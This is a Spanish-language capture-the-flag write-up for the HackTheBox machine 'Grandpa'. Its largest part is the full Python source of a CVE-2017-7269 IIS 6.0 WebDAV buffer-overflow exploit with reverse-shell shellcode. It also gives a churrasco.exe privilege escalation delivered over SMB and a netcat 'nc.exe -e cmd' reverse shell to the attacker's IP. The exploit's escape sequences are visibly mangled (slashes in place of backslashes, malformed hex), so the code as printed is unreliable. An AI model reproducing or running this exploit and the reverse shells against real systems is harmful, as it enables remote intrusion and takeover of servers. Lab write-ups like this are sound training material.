> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md).

# Resolución de HackTheBox Grandpa

{% embed url="<https://app.hackthebox.com/machines/Grandpa>" %}

{% hint style="warning" %}
**Habilidades:**

* Microsoft IIS 6.0 - Desbordamiento remoto del búfer en WebDAV 'ScStoragePathFromUrl' (RCE)
* Secuestro de token - Churrasco (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/edaf088edb2deed47bfe4867774885ebd885629c" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/a18b523cb22be0213e949f8df07e798be62ab81c" alt="" width="563"><figcaption></figcaption></figure>

**Buscar puertos abiertos con Nmap: 80**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.14 -oG allPortsbash
```

<figure><img src="/files/7e56adda146a2ac13a1843b92cd5e8d89a1beaa7" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap:**

```bash
nmap -sCV -p80 10.10.10.14 -oN targeted
```

<figure><img src="/files/d6a6cc398bd29c5cf527cc53a6ab9ebc59827ef9" alt=""><figcaption></figcaption></figure>

Observamos que la página usa **WebDAV** bajo **Microsoft-IIS 6.0**.

## Explotación de WebDAV - Microsoft-IIS 6.0

**Prueba de subida con Davtest**

Comprobamos si podemos inyectar archivos maliciosos:

```bash
davtest -url http://10.10.10.14
```

Sin embargo, cada extensión devuelve **fallo**, lo que indica que las subidas están restringidas.

<figure><img src="/files/890c19c2a92156fb96d3452e76ff96a8abfb9241" alt="" width="563"><figcaption></figcaption></figure>

Como confirmamos que el servidor está ejecutando **IIS 6.0**, estamos explotando una vulnerabilidad de **desbordamiento de búfer** descubierto en 2017.

<figure><img src="/files/36ecfd47ae7e9eecb369cf3fd32fb20ff33fba71" alt=""><figcaption></figcaption></figure>

Aquí hay un script de Python para explotar esta falla y obtener una shell:

{% embed url="<https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>" %}

```python
import sys
import struct
import socket  

if len(sys.argv)<5:
    print 'uso:iis6webdav.py targetip targetport reverseip reverseport/n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/
'/x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/
'/xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/
'/xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/
'/x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/
'/x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/
'/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/
'/x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/
'/xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/
'/x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/
'/x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/
'/xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/
'/x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/
'/xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/
'/x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/
'/x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/
'/xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/
'/x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/
'/xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/
'/x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/
'/x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/
'/xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/
'/xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/
'/x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/
'/xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/
'/xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/
'/x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/
'/x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/
'/x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/
'/xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/
'/xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/
'/x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/
'/x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/
'/x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/
'/x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/
'/x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/
'/xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/
'/x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/
'/xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/
'/x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/
'/x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/
'/x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/
'/xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/
'/xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/
'/x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/
'/x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/
'/x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/
'/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/
'/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/
'/xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/
'/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA'+/
'/xFF/xFF/x10/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x20/xFD'+/
'/xFF/xFF/x00/xEB/xDA/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA'+/
'/xFF/xFF/x50/x6A/x00/x6A/x00/x6A/x04/x6A/x00/x6A/x00/x6A/x00/x6A'+/
'/x00/x8D/x85/x18/xFB/xFF/xFF/x50/xFF/x95/x34/xFA/xFF/xFF/xFF/xB5'+/
'/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/x68/xE8/x03/x00/x00/xFF'+/
'/x95/x54/xFA/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x40/xFA/xFF'+/
'/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D/x85/x30/xFD/xFF'+/
'/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x44/xFA/xFF/xFF/x6A/x40'+/
'/x68/x00/x10/x00/x00/xFF/x75/xFC/x6A/x00/xFF/xB5/x20/xFD/xFF/xFF'+/
'/xFF/x95/x48/xFA/xFF/xFF/x89/x85/x10/xFD/xFF/xFF/x6A/x00/xFF/x75'+/
'/xFC/xFF/xB5/xE4/xFA/xFF/xFF/xFF/xB5/x10/xFD/xFF/xFF/xFF/xB5/x20'+/
'/xFD/xFF/xFF/xFF/x95/x4C/xFA/xFF/xFF/x8B/x85/x10/xFD/xFF/xFF/x89'+/
'/x85/xE8/xFD/xFF/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D'+/
'/x85/x30/xFD/xFF/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x50/xFA'+/
'/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/xEB/x1E'+/
'/x6A/x00/x8D/x85/xE8/xFA/xFF/xFF/x50/x8D/x85/xF4/xFC/xFF/xFF/x50'+/
'/xFF/x95/x30/xFA/xFF/xFF/x6A/x01/xFF/x95/x38/xFA/xFF/xFF/x68/x70'+/
'/x17/x00/x00/xFF/x95/x54/xFA/xFF/xFF/x8D/x85/xD8/xFA/xFF/xFF/x50'+/
'/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xBC/xFA'+/
'/xFF/xFF/x8D/x85/x58/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF'+/
'/x95/x2C/xFA/xFF/xFF/x89/x85/xC0/xFA/xFF/xFF/x8D/x85/xE8/xFC/xFF'+/
'/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85'+/
'/xC4/xFA/xFF/xFF/x8D/x85/xA8/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF'+/
'/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xC8/xFA/xFF/xFF/x8D/x85/x14'+/
'/xFD/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF'+/
'/x89/x85/xCC/xFA/xFF/xFF/x8D/x85/x38/xFB/xFF/xFF/x50/x68/x02/x02'+/
'/x00/x00/xFF/x95/xBC/xFA/xFF/xFF/x6A/x00/x6A/x00/x6A/x00/x6A/x06'+/
'/x6A/x01/x6A/x02/xFF/x95/xC0/xFA/xFF/xFF/x89/x85/xD4/xFC/xFF/xFF'+/
'/x66/xC7/x85/xD8/xFC/xFF/xFF/x02/x00/xFF/xB5/xD0/xFA/xFF/xFF/xFF'+/
'/x95/xCC/xFA/xFF/xFF/x66/x89/x85/xDA/xFC/xFF/xFF/xFF/xB5/xB4/xFA'+/
'/xFF/xFF/xFF/x95/xC8/xFA/xFF/xFF/x89/x85/xDC/xFC/xFF/xFF/x6A/x00'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x10/x8D/x85/xD8/xFC/xFF/xFF/x50/xFF'+/
'/xB5/xD4/xFC/xFF/xFF/xFF/x95/xC4/xFA/xFF/xFF/x83/xA5/xD4/xFA/xFF'+/
'/xFF/x00/xEB/x0D/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF'+/
'/xFF/x83/xBD/xD4/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF'+/
'/x80/xA4/x05/x64/xFA/xFF/xFF/x00/xEB/xDA/xC7/x85/x64/xFA/xFF/xFF'+/
'/x44/x00/x00/x00/xC7/x85/x90/xFA/xFF/xFF/x01/x01/x00/x00/x8B/x85'+/
'/xD4/xFC/xFF/xFF/x89/x85/xA4/xFA/xFF/xFF/x8B/x85/xA4/xFA/xFF/xFF'+/
'/x89/x85/xA0/xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/
'/xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/
'/x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/
'/xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/
'/xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/
'/x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/
'/x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/
'/x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/
'/x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/
'/x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/
'/x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/
'/x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/
'/xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/
'/x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='/xe6/xbd/xa8/xe7/xa1/xa3/xe7/x9d/xa1/xe7/x84/xb3/xe6/xa4/xb6/xe4/x9d/xb2/xe7/xa8/xb9/xe4/xad/xb7/xe4/xbd/xb0/xe7/x95/x93/xe7/xa9/x8f/xe4/xa1/xa8/xe5/x99/xa3/xe6/xb5/x94/xe6/xxa1/85/xe3/xa5/x93/xe5/x81/xac/xe5/x95/xa7/xe6/x9d/xa3/xe3/x8d/xa4/xe4/x98/xb0/xe7/xa1/85/xe6/xa5/92/xe5/x90/xb1/xe4/xb1/x98/xe6/xa9/x91/xe7/x89/x81/xe4/x88/xb1/xe7/x80/xb5/xe5/xa1/x90/xe3/x99/xa4/xe6/xb1/x87/xe3/94/xb9/xe5/x91/xaa/xe5/x80/xb4/xe5/x91/83/xe7/x9d/x92/xe5/x81/xa1/xe3/88/xb2/xe6/xb5/x8b/xe6/xb0/xb4/xe3/89/87/xe6/x89/x81/xe3/9d/8d/xe5/x85/xa1/xe5/xa1/xa2/xe4/x9d/xb3/xe5/x89/x90/xe3/x99/xb0/xe7/x95/x84/xe6/xxa1/xaa/xe3/8d/xb4/xe4/xb9/x8a/xe7/xa1/xab/xe4/xa5/xb6/xe4/xb9/xb3/xe4/xb1/xaa/xe5/x9d/xba/xe6/xbd/xb1/xe5/xa1/x8a/xe3/88/xb0/xe3/9d/xae/xe4/xad/x89/xe5/x89/x8d/xe4/xa1/xa3/xe6/bd/x8c/xe7/x95/x96/xe7/x95/xb5/xe6/x99/xaf/xe7/x99/xa8/xe4/x91/x8d/xe5/x81/xb0/xe7/xa8/xb6/xe6/x89/x8b/xe6/x95/x97/xe7/x95/x90/xe6/a9/xb2/xe7/xa9/xab/xe7/x9d/xa2/xe7/x99/x98/xe6/x89/x88/xe6/x94/xb1/xe3/x81/x94/xe6/xb1/xb9/xe5/x81/x8a/xe5/x91/xa2/xe5/x80/xb3/xe3/95/xb7/xe6/a9/xb7/xe4/85/x84/xe3/8c/xb4/xe6/91/b6/xe4/b5/86/xe5/x99/x94/xe4/9d/xac/xe6/x95/x83/xe7/x98/xb2/xe7/x89/xb8/xe5/x9d/xa9/xe4/x8c/xb8/xe6/x89/xb2/xe5/xa8/xb0/xe5/xa4/xb8/xe5/x91/x88/xc8/82/xc8/82/xe1/x8b/80/xe6/a0/x83/xe6/xb1/x84/xe5/x89/x96/xe4/ac/xb7/xe6/xb1/xad/xe4/xbd/x98/xe5/xa1/x9a/xe7/xa5/x90/xe4/xa5/xaa/xe5/xa1/x8f/xe4/a9/x92/xe4/85/x90/xe6/x99/x8d/xe1/x8f/x80/xe6/a0/x83/xe4/a0/xb4/xe6/x94/xb1/xe6/bd/x83/xe6/b9/xa6/xe7/x91/x81/xe4/x8d/xac/xe1/x8f/x80/xe6/a0/x83/xe5/x8d/x83/xe6/a9/x81/xe7/x81/x92/xe3/8c/xb0/xe5/xa1/xa6/xe4/89/x8c/xe7/x81/8b/xe6/x8d/x86/xe5/x85/xb3/xe7/xa5/x81/xe7/xa9/x90/xe4/a9/xac'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='/xe7/xa5/x88/xe6/x85/xb5/xe4/xbd/x83/xe6/xbd/xa7/xe6/xad/xaf/xe4/xa1/x85/xe3/x99/x86/xe6/x9d/xb5/xe4/x90/xb3/xe3/xa1/xb1/xe5/x9d/xa5/xe5/xa9/xa2/xe5/x90/xb5/xe5/x99/xa1/xe6/xa5/92/xe6/a9/x93/xe5/x85/x97/xe3/xa1/x8e/xe5/xa5/x88/xe6/x8d/x95/xe4/xa5/xb1/xe4/x8d/xa4/xe6/x91/xb2/xe3/x91/xa8/xe4/x9d/x98/xe7/x85/xb9/xe3/x8d/xab/xe6/xad/x95/xe6/xb5/x88/xe5/x81/x8f/xe7/xa9/x86/xe3/x91/xb1/xe6/xbd/x94/xe7/x91/x83/xe5/xa5/x96/xe6/xbd/xaf/xe7/x8d/x81/xe3/x91/x97/xe6/x85/xa8/xe7/xa9/xb2/xe3/x9d/x85/xe4/xb5/x89/xe5/x9d/x8e/xe5/x91/x88/xe4/b0/xxb8/xe3/x99/xba/xe3/x95/xb2/xe6/x89/xa6/xe6/xb9/x83/xe4/xa1/xad/xe3/x95/x88/xe6/x85/xb7/xe4/xb5/x9a/xe6/x85/xb4/xe4/x84/xb3/xe4/x8d/xa5/xe5/x89/xb2/xe6/xb5/xa9/xe3/x99/xb1/xe4/xb9/xa4/xe6/xb8/xb9/xe6/x8d/x93/xe6/xad/xa4/xe5/x85/x86/xe4/xbc/xb0/xe7/xa1/xaf/xe7/x89/x93/xe6/x9d/x90/xe4/x95/x93/xe7/xa9/xa3/xe7/x84/xb9/xe4/xbd/x93/xe4/x91/x96/xe6/xbc/xb6/xe7/x8d/xb9/xe6/a1/xb7/xe7/xa9/x96/xe6/85/x8a/xe3/a5/x85/xe3/x98/xb9/xe6/xb0/xb9/xe4/x94/xb1/xe3/91/xb2/xe5/x8d/xa5/xe5/a1/x8a/xe4/x91/x8e/xe7/xa9/x84/xe6/xb0/xb5/xe5/a9/x96/xe6/89/x81/xe6/b9/xb2/xe6/x98/xb1/xe5/a5/x99/xe5/x90/xb3/xe3/85/x82/xe5/a1/xa5/xe5/a5/x81/xe7/x85/x90/xe3/x80/xb6/xe5/x9d/xb7/xe4/x91/x97/xe5/x8d/xa1/xe1/x8f/x80/xe6/a0/x83/xe6/b9/x8f/xe6/a0/x80/xe6/b9/x8f/xe6/a0/x80/xe4/89/x87/xe7/x99/xaa/xe1/x8f/x80/xe6/a0/x83/xe4/89/x97/xe4/xbd/xb4/xe5/a5/x87/xe5/x88/xb4/xe4/xad/xa6/xe4/xad/x82/xe7/x91/xa4/xe7/xa1/xaf/xe6/82/x82/xe6/a0/x81/xe5/x84/xb5/xe7/x89/xba/xe7/x91/xba/xe4/xb5/x87/xe4/x91/x99/xe5/x9d/x97/xeb/x84/x93/xe6/a0/x80/xe3/85/xb6/xe6/b9/xaf/xe2/x93/xa3/xe6/a0/x81/xe1/x91/xa0/xe6/a0/x83/xcc/x80/xe7/xbf/xbe/xef/xbf/xbf/xef/xbf/xbf/xe1/x8f/x80/xe6/a0/x83/xd1/xae/xe6/a0/x83/xe7/x85/xae/xe7/x91/xb0/xe1/x90/xb4/xe6/a0/x83/xe2/a7/xa7/xe6/a0/x81/xe9/x8e/x91/xe6/a0/x80/xe3/a4/xb1/xe6/x99/ae/xe4/a5/x95/xe3/x81/92/xe5/x91/xab/xe7/x99/xab/xe7/x89/x8a/xe7/xa5/xa1/xe1/x90/x9c/xe6/a0/x83/xe6/xb8/85/xe6/a0/x80/xe7/x9c/xb2/xe7/xa5/xa8/xe4/xb5/xa9/xe3/x99/xac/xe4/x91/xa8/xe4/xb5/xb0/xe8/x89/x86/xe6/a0/x80/xe4/a1/xb7/xe3/89/x93/xe1/xb6/xaa/xe6/a0/x82/xe6/bd/xaa/xe4/x8c/xb5/xe1/x8f/xb8/xe6/a0/x83/xe2/a7/xa7/xe6/a0/x81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>/r/n/r/n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close
```

#### Estamos escuchando en el puerto 443:

```bash
rlwrap nc -nvlp 443
```

#### Luego lanzamos el exploit:

```bash
python2 iis6webdav.py 10.10.10.14 80 10.10.14.32 443
```

<figure><img src="/files/7aa74b6404dee3e10324142746869b2c5ced31b8" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

### Explotación del kernel - Windows Server 2003 <a href="#windows-server-2003-kernel-exploitation" id="windows-server-2003-kernel-exploitation"></a>

Al ejecutar el `systeminfo` Con este comando, encontramos que el equipo objetivo funciona con **Windows Server 2003**, un sistema operativo obsoleto y vulnerable:

```bash
systeminfo
```

<figure><img src="/files/b3efe8e42f30ffbe5013b4dbf87e11ebd7d7e25b" alt=""><figcaption></figcaption></figure>

Además, tenemos el privilegio **SeImpersonatePrivilege**, lo que nos permite intentar elevar privilegios utilizando técnicas conocidas.

<figure><img src="/files/3522f23c594bca791d446a8ed29f2ccc2f92d777" alt="" width="542"><figcaption></figcaption></figure>

#### Usando churrasco.exe

Para explotar esta falla, usaremos **churrasco.exe**, un exploit para obtener privilegios de SYSTEM.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Transferencia de archivos de Windows (SMB)/*/*

> Usamos **smbserver.py** para compartir un directorio que contiene el archivo exploit 40627.exe. Luego este archivo se copia a la máquina objetivo.

```bash
smbserver.py share $(pwd) -smb2support
```

Desde la máquina objetivo, copiamos el archivo del exploit al directorio actual:

```bash
copy //10.10.14.32/share/churrasco.exe churrasco.exe
```

<figure><img src="/files/4146f670682a2313532e46bde02b8476df8f5453" alt=""><figcaption></figcaption></figure>

Luego podemos ejecutar cualquier comando con este binario, por ejemplo:

```bash
./churrasco.exe "whoami"
```

Si el exploit funciona correctamente, deberíamos ver **NT AUTHORITY/SYSTEM**.

<figure><img src="/files/6242d062be898ce318f2c528e9b36c317f7a3e35" alt=""><figcaption></figcaption></figure>

**Establecer shell inversa**

Para establecer una shell inversa, escuchamos en el puerto 443:

```bash
rlwrap nc -nvlp 443
```

Creamos nuevamente un servidor SMB con **nc.exe**

```bash
smbserver.py share $(pwd) -smb2support
```

Finalmente, ejecutamos la shell inversa con el siguiente comando:

```bash
./churrasco.exe "//10.10.14.32/share/nc.exe -e cmd 10.10.14.32 443"
```

<figure><img src="https://hacking-notes.jord4n.pro/~gitbook/image?url=https%3A%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252FRaA9kpHORb6mFkNBY8y3%252Fimage.png%3Falt%3Dmedia%26token%3D2630db08-863a-4117-ba41-f4df998ec28d&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=c4b6d470&#x26;sv=2" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/3c6dd9616f2e18d57dd7e04869e20acbd286a29e" alt="" width="563"><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/b2bf893c69328b29ad59fbc1069561eedf7a2517" alt="" width="496"><figcaption></figcaption></figure>

<figure><img src="/files/5a66efb21f6e71d34f2c0a945b7bbe2b24f7aa8e" alt="" width="500"><figcaption></figcaption></figure>


---

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